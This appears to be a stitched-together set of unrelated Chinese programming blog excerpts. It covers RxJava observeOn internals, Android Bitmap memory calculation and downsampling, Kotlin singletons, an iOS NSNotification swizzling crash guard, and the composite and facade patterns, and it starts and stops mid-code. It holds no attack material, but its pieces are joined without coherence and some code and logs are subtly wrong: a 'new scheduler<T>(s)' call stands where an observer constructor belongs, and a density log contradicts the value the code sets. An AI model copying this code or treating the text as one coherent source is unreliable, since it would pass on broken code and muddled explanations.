implements Observer<T>, Runnable {
private static final long serialVersionUID = 6576896619930983584L;
final Observer<? super T> actual;
final Scheduler.Worker worker;
final boolean delayError;
final int bufferSize;
SimpleQueue<T> queue;
Disposable s;
Throwable error;
volatile boolean done;
volatile boolean cancelled;
int sourceMode;
boolean outputFused;
ObserveOnObserver(Observer<? super T> actual, Scheduler.Worker worker, boolean delayError, int bufferSize) {
this.actual = actual;
this.worker = worker;
this.delayError = delayError;
this.bufferSize = bufferSize;
}
@Override
public void onSubscribe(Disposable s) {
if (DisposableHelper.validate(this.s, s)) {
this.s = s;
if (s instanceof QueueDisposable) {
@SuppressWarnings("unchecked")
QueueDisposable<T> qd = (QueueDisposable<T>) s;
int m = qd.requestFusion(QueueDisposable.ANY | QueueDisposable.BOUNDARY);
if (m == QueueDisposable.SYNC) {
sourceMode = m;
queue = qd;
done = true;
actual.onSubscribe(this);
schedule();
return;
}
if (m == QueueDisposable.ASYNC) {
sourceMode = m;
queue = qd;
actual.onSubscribe(this);
return;
}
}
queue = new SpscLinkedArrayQueue<T>(bufferSize);
actual.onSubscribe(this);
}
}
@Override
public void onNext(T t) {
if (done) {
return;
}
if (sourceMode != QueueDisposable.ASYNC) {
queue.offer(t);
}
schedule();
}
@Override
public void onError(Throwable t) {
if (done) {
RxJavaPlugins.onError(t);
return;
}
error = t;
done = true;
schedule();
}
@Override
public void onComplete() {
if (done) {
return;
}
done = true;
schedule();
}
@Override
public void dispose() {
if (!cancelled) {
cancelled = true;
s.dispose();
worker.dispose();
if (getAndIncrement() == 0) {
queue.clear();
}
}
}
@Override
public boolean isDisposed() {
return cancelled;
}
void schedule() {
if (getAndIncrement() == 0) {
worker.schedule(this);
}
}
void drainNormal() {
int missed = 1;
final SimpleQueue<T> q = queue;
final Observer<? super T> a = actual;
for (;;) {
if (checkTerminated(done, q.isEmpty(), a)) {
return;
}
for (;;) {
boolean d = done;
T v;
try {
v = q.poll();
} catch (Throwable ex) {
Exceptions.throwIfFatal(ex);
s.dispose();
q.clear();
a.onError(ex);
return;
}
boolean empty = v == null;
if (checkTerminated(d, empty, a)) {
return;
}
if (empty) {
break;
}
a.onNext(v);
}
missed = addAndGet(-missed);
if (missed == 0) {
break;
}
}
}
void drainFused() {
int missed = 1;
for (;;) {
if (cancelled) {
return;
}
boolean d = done;
Throwable ex = error;
if (!delayError && d && ex != null) {
actual.onError(error);
worker.dispose();
return;
}
actual.onNext(null);
if (d) {
ex = error;
if (ex != null) {
actual.onError(ex);
} else {
actual.onComplete();
}
worker.dispose();
return;
}
missed = addAndGet(-missed);
if (missed == 0) {
break;
}
}
}
@Override
public void run() {
if (outputFused) {
drainFused();
} else {
drainNormal();
}
}
boolean checkTerminated(boolean d, boolean empty, Observer<? super T> a) {
if (cancelled) {
queue.clear();
return true;
}
if (d) {
Throwable e = error;
if (delayError) {
if (empty) {
if (e != null) {
a.onError(e);
} else {
a.onComplete();
}
worker.dispose();
return true;
}
} else {
if (e != null) {
queue.clear();
a.onError(e);
worker.dispose();
return true;
} else
if (empty) {
a.onComplete();
worker.dispose();
return true;
}
}
}
return false;
}
@Override
public int requestFusion(int mode) {
if ((mode & ASYNC) != 0) {
outputFused = true;
return ASYNC;
}
return NONE;
}
@Override
public T poll() throws Exception {
return queue.poll();
}
@Override
public void clear() {
queue.clear();
}
@Override
public boolean isEmpty() {
return queue.isEmpty();
}
}
包装完ObserveOnObserver后,调用了source.subscribe 这里的source 即ObservableSubscribeOn.subscribe,进而调用ObservableSubscribeOn.subscribeActual
//ObservableSubscribeOn.java
@Override
public void subscribeActual(final Observer<? super T> s) {
final SubscribeOnObserver<T> parent = new scheduler<T>(s);
s.onSubscribe(parent);
parent.setDisposable(scheduler.scheduleDirect(new Runnable() {
@Override
public void run() {
source.subscribe(parent);
}
}));
}
static final class SubscribeOnObserver<T> extends AtomicReference<Disposable> implements Observer<T>, Disposable {
private static final long serialVersionUID = 8094547886072529208L;
final Observer<? super T> actual;
final AtomicReference<Disposable> s;
SubscribeOnObserver(Observer<? super T> actual) {
this.actual = actual;
this.s = new AtomicReference<Disposable>();
}
@Override
public void onSubscribe(Disposable s) {
DisposableHelper.setOnce(this.s, s);
}
@Override
public void onNext(T t) {
actual.onNext(t);
}
@Override
public void onError(Throwable t) {
actual.onError(t);
}
@Override
public void onComplete() {
actual.onComplete();
}
@Override
public void dispose() {
DisposableHelper.dispose(s);
DisposableHelper.dispose(this);
}
@Override
public boolean isDisposed() {
return DisposableHelper.isDisposed(get());
}
void setDisposable(Disposable d) {
DisposableHelper.setOnce(this, d);
}
}
ObservableSubscribeOn.subscribeActual
我们看到 run 的方法体即source.subscribe(parent);这里的source 即 ObservableCreate(ObservableOnSubscribe),传入了observer,然后调用 observer的OnNext 和 OnComplete 方法。
Bitmap 应该是很多应用中最占据内存空间的一类资源了,Bitmap 也是导致应用 OOM 的常见原因之一。例如,Pixel 手机的相机拍摄的照片最大可达 4048 * 3036 像素(1200 万像素),如果使用的位图配置为 ARGB_8888(Android 2.3 及更高版本的默认设置),将单张照片加载到内存大约需要 48MB 内存(4048 * 3036 * 4 字节),如此庞大的内存需求可能会立即耗尽应用的所有可用内存
本篇文章就来讲下 Bitmap 一些比较有用的知识点,希望对你有所帮助 😇😇
全文可以概括为以下几个问题:
在开始讲关于 Bitmap 的知识点前,需要先阐述一些基础概念作为预备知识
我们知道,在不同手机屏幕上 1dp 所对应的 px 值可能是会有很大差异的。例如,在小屏幕手机上 1dp 可能对应 1px,在大屏幕手机上对应的可能是 3px,这也是我们的应用实现屏幕适配的原理基础之一
想要知道在特定一台手机上 1dp 对应多少 px,或者是想要知道屏幕宽高大小,这些信息都可以通过 DisplayMetrics 来获取
val displayMetrics = applicationContext.resources.displayMetrics
打印出本文所使用的模拟器的 DisplayMetrics 信息:
DisplayMetrics{density=3.0, width=1080, height=1920, scaledDensity=3.0, xdpi=480.0, ydpi=480.0}
从中就可以提取出几点信息:
dpi 是一个很重要的值,指的是在系统软件上指定的单位尺寸的像素数量,往往是写在系统出厂配置文件的一个固定值。Android 系统定义的屏幕像素密度基准值是 160dpi,该基准值下 1dp 就等于 1px,依此类推 320dpi 下 1dp 就等于 2px
dpi 决定了应用在显示 drawable 时是选择哪一个文件夹内的切图。每个 drawable 文件夹都对应不同的 dpi 大小,Android 系统会自动根据当前手机的实际 dpi 大小从合适的 drawable 文件夹内选取图片,不同的后缀名对应的 dpi 大小就如以下表格所示。如果 drawable 文件夹名不带后缀,那么该文件夹就对应 160dpi
对于本文所使用的模拟器来说,应用在选择图片时就会优先从 drawable-xxhdpi
文件夹拿,如果该文件夹内没找到图片,就会依照 xxxhdpi -> xhdpi -> hdpi -> mdpi -> ldpi
的顺序进行查找,优先使用高密度版本的图片资源
先将一张大小为 1920 x 1080 px 的图片保存到 drawable-xxhdpi
文件夹内,然后将其显示在一个宽高均为 180dp 的 ImageView 上,该 Bitmap 所占用的内存就通过 bitmap.byteCount
来获取
val options = BitmapFactory.Options()
val bitmap = BitmapFactory.decodeResource(resources, R.drawable.icon_awe, options)
imageView.setImageBitmap(bitmap)
log("imageView width: " + imageView.width)
log("imageView height: " + imageView.height)
log("bitmap width: " + bitmap.width)
log("bitmap height: " + bitmap.height)
log("bitmap config: " + bitmap.config)
log("inDensity: " + options.inDensity)
log("inTargetDensity: " + options.inTargetDensity)
log("bitmap byteCount: " + bitmap.byteCount)
BitmapMainActivity: imageView width: 540
BitmapMainActivity: imageView height: 540
BitmapMainActivity: bitmap width: 1920
BitmapMainActivity: bitmap height: 1080
BitmapMainActivity: bitmap config: ARGB_8888
BitmapMainActivity: inDensity: 480
BitmapMainActivity: inTargetDensity: 480
BitmapMainActivity: bitmap byteCount: 8294400
inDensity
代表的是系统最终选择的 drawable 文件夹类型,等于 480 说明取的是 drawable-xxhdpi
文件夹下的图片inTargetDensity
代表的是当前设备的 dpi从最终结果可以很容易地就逆推出 Bitmap 所占内存大小的计算公式:bitmapWidth * bitmapHeight * 单位像素点所占用的字节数,即 1920 * 1080 * 4 = 8294400
此外,在 Android 2.3 版本之前,Bitmap 像素存储需要的内存是在 native 上分配的,并且生命周期不太可控,可能需要用户自己回收。2.3 - 7.1 之间,Bitmap 的像素存储在 Dalvik 的 Java 堆上,当然,4.4 之前的甚至能在匿名共享内存上分配(Fresco采用),而 8.0 之后的像素内存又重新回到 native 上去分配,不需要用户主动回收,8.0 之后图像资源的管理更加优秀,极大降低了 OOM
上面之所以很容易就逆推出了 Bitmap 所占内存大小的计算公式,是因为所有条件都被我故意设定为最优情况了,才使得计算过程这么简单。而实际上 Bitmap 所占内存大小和其所在的 drawable 文件夹是有很大关系的,虽然计算公式没变
现在的大部分应用为了达到最优的显示效果,会为应用准备多套切图放在不同的 drawable 文件夹下,而BitmapFactory.decodeResource
方法在解码 Bitmap 的时候,就会自动根据当前设备的 dpi 和 drawable 文件夹类型来判断是否需要对图片进行缩放显示
将图片从 drawable-xxhdpi
迁移到 drawable-xhdpi
文件夹,然后再打印日志信息
BitmapMainActivity: imageView width: 540
BitmapMainActivity: imageView height: 540
BitmapMainActivity: bitmap width: 2880
BitmapMainActivity: bitmap height: 1620
BitmapMainActivity: bitmap config: ARGB_8888
BitmapMainActivity: inDensity: 320
BitmapMainActivity: inTargetDensity: 480
BitmapMainActivity: bitmap byteCount: 18662400
可以看到,Bitmap 的宽高都发生了变化,inDensity
等于 320 也说明了选取的是drawable-xhdpi
文件夹内的图片,Bitmap 所占内存居然增加了一倍多
模拟器的 dpi 是 480,拿到了 dpi 为 320 的drawable-xhdpi
文件夹下的图片,在系统的理解中该文件夹存放的都是小图标,是为小屏幕手机准备的,现在要在大屏幕手机上展示的话就需要对其进行放大,放大的比例就是 480 / 320 = 1.5 倍,因此 Bitmap 的宽就会变为 1920 * 1.5 = 2880 px,高就会变为 1080 * 1.5 = 1620 px,最终占用的内存空间大小就是 2880 * 1620 * 4 = 18662400
所以说,对于同一台手机,Bitmap 在不同 drawable 文件夹下对其最终占用的内存大小是有很大关系的,虽然计算公式没变,但是由于系统会进行自动缩放,Bitmap 的宽高都变为了原先的 1.5 倍,导致最终 Bitmap 的内存大小就变为了 8294400 * 1.5 * 1.5 = 18662400
同理,对于同个 drawable 文件夹下的同一张图片,在不同的手机屏幕上也可能会占用不同的内存空间,因为不同的手机的 dpi 大小可能是不一样的,BitmapFactory 进行缩放的比例也就不一样
在上一个例子里,Bitmap 的宽高是 2880 * 1620 px,ImageView 的宽高是 540 * 540 px,该 Bitmap 肯定是会显示不全的,读者可以试着自己改变 ImageView 的宽高大小来验证是否会对 Bitmap 的大小产生影响
这里就不贴代码了,直接来说结论,答案是没有关系。原因也很简单,毕竟上述例子是先将 Bitmap 加载到内存中后再设置给 ImageView 的,ImageView 自然不会影响到 Bitmap 的加载过程,该 Bitmap 的大小只受其所在的 drawable 文件夹类型以及手机的 dpi 大小这两个因素的影响。但这个结论是需要考虑测试方式的,如果你是使用 Glide 来加载图片,Glide 内部实现了按需加载的机制,避免由于 Bitmap 过大而 ImageView 显示不全导致内存浪费的情况,这种情况下 ImageView 的宽高就会影响到 Bitmap 的内存大小了
BitmapFactory 提供了很多个方法用于加载 Bitmap 对象:decodeFile、decodeResourceStream、decodeResource、decodeByteArray、decodeStream
等多个,但只有 decodeResourceStream
和 decodeResource
这两个方法才会根据 dpi 进行自动缩放
decodeResource
方法也会调用到decodeResourceStream
方法,decodeResourceStream
方法如果判断到inDensity
和 inTargetDensity
两个属性外部没有主动赋值的话,就会根据实际情况进行赋值。如果是从磁盘或者 assert 目录加载图片的话是不会进行自动缩放的,毕竟这些来源也不具备 dpi 信息,Bitmap 的分辨率也只能保持其原有大小
@Nullable
public static Bitmap decodeResourceStream(@Nullable Resources res, @Nullable TypedValue value,
@Nullable InputStream is, @Nullable Rect pad, @Nullable Options opts) {
validate(opts);
if (opts == null) {
opts = new Options();
}
if (opts.inDensity == 0 && value != null) {
final int density = value.density;
if (density == TypedValue.DENSITY_DEFAULT) {
//如果 density 没有赋值的话(等于0),那么就使用基准值 160 dpi
opts.inDensity = DisplayMetrics.DENSITY_DEFAULT;
} else if (density != TypedValue.DENSITY_NONE) {
//在这里进行赋值,density 就等于 drawable 对应的 dpi
opts.inDensity = density;
}
}
if (opts.inTargetDensity == 0 && res != null) {
//如果没有主动设置 inTargetDensity 的话,inTargetDensity 就等于设备的 dpi
opts.inTargetDensity = res.getDisplayMetrics().densityDpi;
}
return decodeStream(is, pad, opts);
}
Bitmap.Config 定义了四种常见的编码格式,分别是:
根据 Bitmap 所占内存大小的计算公式:bitmapWidth * bitmapHeight * 单位像素点所占用的字节数,想要尽量减少 Bitmap 占用的内存大小的话就要从降低图片分辨率和降低单位像素需要的字节数这两方面来考虑了
在一开始的情况下加载到的 Bitmap 的宽高是 1920 * 1080,占用的内存空间是 1920 * 1080 * 4 = 8294400,约 7.9 MB,这是优化前的状态
val options = BitmapFactory.Options()
val bitmap = BitmapFactory.decodeResource(resources, R.drawable.icon_awe, options)
imageView.setImageBitmap(bitmap)
log("bitmap width: " + bitmap.width)
log("bitmap height: " + bitmap.height)
log("bitmap config: " + bitmap.config)
log("inDensity: " + options.inDensity)
log("inTargetDensity: " + options.inTargetDensity)
log("bitmap byteCount: " + bitmap.byteCount)
BitmapMainActivity: bitmap width: 1920
BitmapMainActivity: bitmap height: 1080
BitmapMainActivity: bitmap config: ARGB_8888
BitmapMainActivity: inDensity: 480
BitmapMainActivity: inTargetDensity: 480
BitmapMainActivity: bitmap byteCount: 8294400
由于 ImageView 的宽高只有 540 * 540 px,此时 Bitmap 也只能在 ImageView 上显示为一个像素缩略图,如果进行原图加载的话其实会造成很大的内存浪费,此时我们就可以通过 inSampleSize 属性来压缩图片尺寸
例如,将 inSampleSize 设置为 2 后,Bitmap 的宽高就都会缩减为原先的一半,占用的内存空间就变成了原先的四分之一, 960 * 540 * 4 = 2073600,约 1.9 MB
val options = BitmapFactory.Options()
options.inSampleSize = 2
val bitmap = BitmapFactory.decodeResource(resources, R.drawable.icon_awe, options)
imageView.setImageBitmap(bitmap)
log("bitmap width: " + bitmap.width)
log("bitmap height: " + bitmap.height)
log("bitmap config: " + bitmap.config)
log("inDensity: " + options.inDensity)
log("inTargetDensity: " + options.inTargetDensity)
log("bitmap byteCount: " + bitmap.byteCount)
BitmapMainActivity: bitmap width: 960
BitmapMainActivity: bitmap height: 540
BitmapMainActivity: bitmap config: ARGB_8888
BitmapMainActivity: inDensity: 480
BitmapMainActivity: inTargetDensity: 480
BitmapMainActivity: bitmap byteCount: 2073600
可以看到,inSampleSize 属性应该设置多少是需要根据 Bitmap 的实际宽高和 ImageView 的实际宽高这两个条件来一起决定的。我们在正式加载 Bitmap 前要先获取到 Bitmap 的实际宽高大小,这可以通过 inJustDecodeBounds 属性来实现。设置 inJustDecodeBounds 为 true 后 decodeResource
方法只会去读取 Bitmap 的宽高属性而不会去进行实际加载,这个操作是比较轻量级的。然后通过每次循环对半折减,计算出 inSampleSize 需要设置为多少才能尽量接近到 ImageView 的实际宽高,之后将 inJustDecodeBounds 设置为 false 去实际加载 Bitmap
val options = BitmapFactory.Options()
options.inJustDecodeBounds = true
BitmapFactory.decodeResource(resources, R.drawable.icon_awe, options)
val inSampleSize = calculateInSampleSize(options, imageView.width, imageView.height)
options.inSampleSize = inSampleSize
options.inJustDecodeBounds = false
val bitmap = BitmapFactory.decodeResource(resources, R.drawable.icon_awe, options)
imageView.setImageBitmap(bitmap)
fun calculateInSampleSize(options: BitmapFactory.Options, reqWidth: Int, reqHeight: Int): Int {
// Raw height and width of image
val (height: Int, width: Int) = options.run { outHeight to outWidth }
var inSampleSize = 1
if (height > reqHeight || width > reqWidth) {
val halfHeight: Int = height / 2
val halfWidth: Int = width / 2
// Calculate the largest inSampleSize value that is a power of 2 and keeps both
// height and width larger than the requested height and width.
while (halfHeight / inSampleSize >= reqHeight && halfWidth / inSampleSize >= reqWidth) {
inSampleSize *= 2
}
}
return inSampleSize
}
需要注意的是,inSampleSize 使用的最终值将是向下舍入为最接近的 2 的幂,BitmapFactory 内部会自动会该值进行校验修正
如果我们不主动设置 inTargetDensity 的话,decodeResource
方法会自动根据当前设备的 dpi 来对 Bitmap 进行缩放处理,我们可以通过主动设置 inTargetDensity 来控制缩放比例,从而控制 Bitmap 的最终宽高。最终宽高的生成规则: 180 / 480 * 1920 = 720,180 / 480 * 1080 = 405,占用的内存空间是 720 * 405 * 4 = 1166400,约 1.1 MB
val options = BitmapFactory.Options()
options.inTargetDensity = 180
val bitmap = BitmapFactory.decodeResource(resources, R.drawable.icon_awe, options)
imageView.setImageBitmap(bitmap)
log("bitmap width: " + bitmap.width)
log("bitmap height: " + bitmap.height)
log("bitmap config: " + bitmap.config)
log("inDensity: " + options.inDensity)
log("inTargetDensity: " + options.inTargetDensity)
log("bitmap byteCount: " + bitmap.byteCount)
BitmapMainActivity: bitmap width: 720
BitmapMainActivity: bitmap height: 405
BitmapMainActivity: bitmap config: ARGB_8888
BitmapMainActivity: inDensity: 480
BitmapMainActivity: inTargetDensity: 480
BitmapMainActivity: bitmap byteCount: 1166400
BitmapFactory 默认使用的编码图片格式是 ARGB_8888,每个像素点占用四个字节,我们可以按需改变要采用的图片格式。例如,如果要加载的 Bitmap 不包含透明通道的,我们可以使用 RGB_565,该格式每个像素点占用两个字节,占用的内存空间是 1920 * 1080 * 2 = 4147200,约 3.9 MB
val options = BitmapFactory.Options()
options.inPreferredConfig = Bitmap.Config.RGB_565
val bitmap = BitmapFactory.decodeResource(resources, R.drawable.icon_awe, options)
imageView.setImageBitmap(bitmap)
log("bitmap width: " + bitmap.width)
log("bitmap height: " + bitmap.height)
log("bitmap config: " + bitmap.config)
log("inDensity: " + options.inDensity)
log("inTargetDensity: " + options.inTargetDensity)
log("bitmap byteCount: " + bitmap.byteCount)
BitmapMainActivity: bitmap width: 1920
BitmapMainActivity: bitmap height: 1080
BitmapMainActivity: bitmap config: RGB_565
BitmapMainActivity: inDensity: 480
BitmapMainActivity: inTargetDensity: 480
BitmapMainActivity: bitmap byteCount: 4147200
object Singleton
复制代码
class Singleton private constructor() {
companion object {
private var instance: Singleton? = null
get() {
if (field == null) field = Singleton()
return field
}
@Synchronized
fun instance(): Singleton {
return instance!!
}
}
}
复制代码
class KtSingleton3 private constructor() {
companion object {
val instance by lazy { KtSingleton3() }
}
}
复制代码
Lazy
是接受一个 lambda 并返回一个 Lazy
实例的函数,返回的实例可以作为实现延迟属性的委托。第一次调用 get()
会执行已传递给 lazy()
的 lambda 表达式并记录结果,后续调用 get()
只是返回记录的结果。Lazy
默认的线程模式就是 LazyThreadSafetyMode.SYNCHRONIZED
内部默认双重校验锁
public fun <T> lazy(mode: LazyThreadSafetyMode, initializer: () -> T): Lazy<T> =
when (mode) {
LazyThreadSafetyMode.SYNCHRONIZED -> SynchronizedLazyImpl(initializer)
LazyThreadSafetyMode.PUBLICATION -> SafePublicationLazyImpl(initializer)
LazyThreadSafetyMode.NONE -> UnsafeLazyImpl(initializer)
}
复制代码
public interface Lazy<out T> {
//当前实例化对象,一旦实例化后,该对象不会再改变
public val value: T
//返回true表示,已经延迟实例化过了,false 表示,没有被实例化,
//一旦方法返回true,该方法会一直返回true,且不会再继续实例化
public fun isInitialized(): Boolean
}
复制代码
private class SynchronizedLazyImpl<out T>(initializer: () -> T, lock: Any? = null) : Lazy<T>, Serializable {
private var initializer: (() -> T)? = initializer
@Volatile private var _value: Any? = UNINITIALIZED_VALUE
// final field is required to enable safe publication of constructed instance
private val lock = lock ?: this
override val value: T
get() {
val _v1 = _value
//判断是否已经初始化过,如果初始化过直接返回,不在调用高级函数内部逻辑
if (_v1 !== UNINITIALIZED_VALUE) {
@Suppress("UNCHECKED_CAST")
return _v1 as T
}
return synchronized(lock) {
val _v2 = _value
if (_v2 !== UNINITIALIZED_VALUE) {
@Suppress("UNCHECKED_CAST") (_v2 as T)
}
else {
//调用高级函数获取其返回值
val typedValue = initializer!!()
//将返回值赋值给_value,用于下次判断时,直接返回高级函数的返回值
_value = typedValue
initializer = null
typedValue
}
}
}
//省略部分代码
}
复制代码
class Singleton private constructor() {
companion object {
val instance = SingletonHolder.holder
}
private object SingletonHolder {
val holder = Singleton()
}
}
复制代码
enum class Singleton {
INSTANCE;
}
接上一章。。。。。。。
#import
/**
当一个对象添加了notification之后,如果dealloc的时候,仍然持有notification,就会出现NSNotification类型的crash。
iOS9之后专门针对于这种情况做了处理,所以在iOS9之后,即使开发者没有移除observer,Notification crash也不会再产生了
*/
NS_ASSUME_NONNULL_BEGIN
@interface NSObject (NSNotificationCrash)
+ (void)xz_enableNotificationProtector;
@end
NS_ASSUME_NONNULL_END
#import "NSObject+NSNotificationCrash.h"
#import "NSObject+XZSwizzle.h"
#import
static const char *isNSNotification = "isNSNotification";
@implementation NSObject (NSNotificationCrash)
+ (void)xz_enableNotificationProtector {
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
NSObject *objc = [[NSObject alloc] init];
[objc xz_instanceSwizzleMethod:@selector(addObserver:selector:name:object:) replaceMethod:@selector(xz_addObserver:selector:name:object:)];
// 在ARC环境下不能显示的@selector dealloc。
[objc xz_instanceSwizzleMethod:NSSelectorFromString(@"dealloc") replaceMethod:NSSelectorFromString(@"xz_dealloc")];
});
}
- (void)xz_addObserver:(id)observer selector:(SEL)aSelector name:(nullable NSNotificationName)aName object:(nullable id)anObject {
// 添加标志位,在delloc中只有isNSNotification是YES,才会移除通知
[observer setIsNSNotification:YES];
[self xz_addObserver:observer selector:aSelector name:aName object:anObject];
}
- (void)setIsNSNotification:(BOOL)yesOrNo {
objc_setAssociatedObject(self, isNSNotification, @(yesOrNo), OBJC_ASSOCIATION_RETAIN_NONATOMIC);
}
- (BOOL)isNSNotification {
NSNumber *number = objc_getAssociatedObject(self, isNSNotification);;
return [number boolValue];
}
/**
如果一个对象从来没有添加过通知,那就不要remove操作
*/
- (void)xz_dealloc
{
if ([self isNSNotification]) {
NSLog(@"CrashProtector: %@ is dealloc,but NSNotificationCenter Also exsit",self);
[[NSNotificationCenter defaultCenter] removeObserver:self];
}
[self xz_dealloc];
}
@end
具体方式:
1、定义一个抽象类,抽象类中弱引用target。
将对象以树形结构组织起来,以达成“部分-整体”的层次机构,使得客户端对单个对象和组合对象的使用具有一致性。
是用于把一组相似的对象当作一个单一的对象。组合模式依据树形结构来组合对象,用来表示部分以及整体层次。这种类型的设计模式属于结构型模式,它创建了对象组的树形结构。
这种模式创建了一个包含自己对象组的类。该类提供了修改相同对象组的方式。
部分、整体场景,如树形菜单,文件、文件夹的管理。
树枝和叶子实现统一接口,树枝内部组合该接口。
例:文件与文件夹的关系
先进行普通的实现方式
//文件类
public class File {
public String name;
public File(String name) {
this.name = name;
}
/**
* 操作方法
* @return
*/
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public void watch() {
System.out.println("文件名"+getName()+"文件数目");
}
}
//文件夹类
public class Folder{
public String name;
private List<File> mFileList;
public Folder(String name) {
mFileList = new ArrayList<>();
this.name = name;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public void watch() {
StringBuilder sb = new StringBuilder();
for(File f:mFileList){
sb.append(f.name);
}
System.out.println("文件名"+getName()+"文件数目"+ mFileList.size()+"名字"+sb.toString());
}
public void add(File file) {
mFileList.add(file);
}
public void remove(File file) {
mFileList.remove(file);
}
public File getChild(int pos) {
return mFileList.get(pos);
}
}
//运行
File file = new File("hehe");
Folder folder = new Folder("heere");
folder.add(file);
folder.watch();
文件和文件夹作为两个类来进行操作,将文件类进行添加文件,但是呢?如果文件夹下添加文件夹该咋办呢?就需要再创建一个list来存放文件夹,这样大家都是节点,为啥搞得这么复杂呢?既然存在上下级节点的问题,咱们就抽象为一个抽象类,用抽象类作为节点,子类就是文件夹和文件。
//将文件与文件夹统一看作是一类节点,做一个抽象类来定义这种节点,然后以其实现类来区分文件与目录,在实现类中分别定义各自的具体实现内容,把组合方法写到这个节点类中
public abstract class File {
public String name;
public File(String name) {
this.name = name;
}
/**
* 操作方法
* @return
*/
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public abstract void watch();
/**
* 组合方法
* @param file
*/
public void add(File file){
throw new UnsupportedOperationException();
}
public void remove(File file){
throw new UnsupportedOperationException();
}
public File getChild(int pos){
throw new UnsupportedOperationException();
}
}
public class Folder extends File{
private List<File> mFileList;
public Folder(String name) {
super(name);
mFileList = new ArrayList<>();
}
@Override
public void watch() {
StringBuilder sb = new StringBuilder();
for(File f:mFileList){
sb.append(f.name);
}
System.out.println("文件名"+getName()+"文件数目"+ mFileList.size()+"名字"+sb.toString());
}
@Override
public void add(File file) {
mFileList.add(file);
}
@Override
public void remove(File file) {
mFileList.remove(file);
}
@Override
public File getChild(int pos) {
return mFileList.get(pos);
}
}
public class TestFile extends File {
public TestFile(String name) {
super(name);
}
@Override
public void watch() {
System.out.println("文件名"+getName()+"文件数目");
}
}
//运行
TestFile file = new TestFile("hehe");
Folder folder = new Folder("heere");
folder.add(file);
folder.watch();
folder.getChild(0).watch();
这种组合模式正是应树形结构而生,所以组合模式的使用场景就是出现树形结构的地方。比如:文件目录显示,多及目录呈现等树形结构数据的操作。
安全组合模式(简化)如下code
//将文件与文件夹统一看作是一类节点,做一个抽象类来定义这种节点,然后以其实现类来区分文件与目录,在实现类中分别定义各自的具体实现内容,把组合方法写到这个节点类中
public abstract class File {
public String name;
public File(String name) {
this.name = name;
}
/**
* 操作方法
* @return
*/
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public abstract void watch();
}
public class Folder extends File{
private List<File> mFileList;
public Folder(String name) {
super(name);
mFileList = new ArrayList<>();
}
@Override
public void watch() {
StringBuilder sb = new StringBuilder();
for(File f:mFileList){
sb.append(f.name);
}
System.out.println("文件名"+getName()+"文件数目"+ mFileList.size()+"名字"+sb.toString());
}
public void add(File file) {
mFileList.add(file);
}
public void remove(File file) {
mFileList.remove(file);
}
public File getChild(int pos) {
return mFileList.get(pos);
}
}
public class TestFile extends File {
public TestFile(String name) {
super(name);
}
@Override
public void watch() {
System.out.println("文件名"+getName()+"文件数目");
}
}
//运行
TestFile file = new TestFile("hehe");
Folder folder = new Folder("heere");
folder.add(file);
folder.watch();
folder.getChild(0).watch();
安全组合模式分工就很明确了。它还有一个好处就是当我们add/remove的时候,我们能知道具体的类是什么了,而透明组合模式就得在运行时去判断,比较麻烦。
外观设计模式的主要目的在于让外部减少与子系统内部多个模块的交互,从而让外部能够更简单的使用子系统。他负责把客户端的请求转发给子系统内部的各个模块进行处理。
/**
* 模块A
*/
public class SubSystemA {
public void testFunA(){
System.out.println("testFunA");
}
}
/**
* 模块B
*/
public class SubSystemB {
public void testFunB(){
System.out.println("testFunB");
}
}
/**
* 模块C
*/
public class SubSystemC {
public void testFunC(){
System.out.println("testFunC");
}
}
/**
* Facade
*/
public class Facade {
private SubSystemA subSystemA;
private SubSystemB subSystemB;
private SubSystemC subSystemC;
private Facade(){
subSystemA = new SubSystemA();
subSystemB = new SubSystemB();
subSystemC = new SubSystemC();
}
private static Facade instance;
public static Facade getInstance(){
if(instance==null){
instance = new Facade();
}
return instance;
}
public void tastOperation(){
subSystemA.testFunA();
subSystemB.testFunB();
subSystemC.testFunC();
}
}
//运行
Facade.getInstance().tastOperation();
由于外观类维持了对多个子系统类的引用,外观对象在系统运行时将占用较多的系统资源,因此需要对外观对象的数量进行限制,避免系统资源的浪费。可以结合单例模式对外观类进行改进,将外观类设计为一个单例类。通过对外观模式单例化,可以确保系统中只有唯一一个访问子系统的入口,降低系统资源的消耗。
我在项目中的实践:
在项目中经常会出现,网络请求,缓存本地,本地有缓存用本地缓存,而且网络请求经常会在多个地方调用,如果不采用外观模式设计,则会出现客户端的代码异常复杂,而且不利于维护。于是我就进行了如下改变,建立中间仓库类来进行数据切换,客户端只需要进行对仓库数据进行调用,不用关心仓库里数据怎样生成的。
/**
* 建立仓库接口类
* TestApiDataSource
*/
public interface TestApiDataSource {
/**
* 登陆接口
* @param params
* @return
*/
Observable<GetLoginResponse> getLogin(GetLoginParams params);
}
/**
* 建立本地数据源(主要是为了方便客户端调用)
* TestApiLocalDataSource
*/
public class TestApiLocalDataSource extends BaseLocalDataSource implements TestApiDataSource {
@Override
public Observable<GetLoginResponse> getLogin(GetLoginParams params) {
Observable<GetLoginResponse> observable = Observable.create(new ObservableOnSubscribe<GetLoginResponse>() {
@Override
public void subscribe(ObservableEmitter<GetLoginResponse> subscriber) throws Exception {
subscriber.onComplete();
}
});
return observable;
}
}
/**
* 建立网络数据源
* TestApiRemoteDataSource
*/
public class TestApiRemoteDataSource extends BaseRemoteDataSource implements TestApiDataSource {
/**
*
* 请求网络
* @param params
* @return
*/
@Override
public Observable<GetLoginResponse> getLogin(GetLoginParams params) {
return ApiSource.getApiService(AppHuanJingFactory.getAppModel().getApi()).getApi2Service().getLogin(params);
}
}
/**
* 建立单例仓库类
* TestApiRepository
*/
public class TestApiRepository extends BaseRepository<TestApiLocalDataSource,TestApiRemoteDataSource> implements TestApiDataSource {
public static volatile TestApiRepository instance;
public static TestApiRepository getInstance(){
if(instance==null){
synchronized (TestApiRepository.class){
if(instance==null){
instance = new TestApiRepository(new TestApiLocalDataSource(),new TestApiRemoteDataSource());
}
}
}
return instance;
}
protected TestApiRepository(TestApiLocalDataSource localDataSource, TestApiRemoteDataSource remoteDataSource) {
super(localDataSource, remoteDataSource);
}
/**
* 数据源切换
* #getLogin#
* @param params
* @return
*/
@Override
public Observable<GetLoginResponse> getLogin(GetLoginParams params) {
Observable<GetLoginResponse> observable = Observable.
concat(localDataSource.getLogin(params),
remoteDataSource.getLogin(params).
doOnNext(new Consumer<GetLoginResponse>() {
@Override
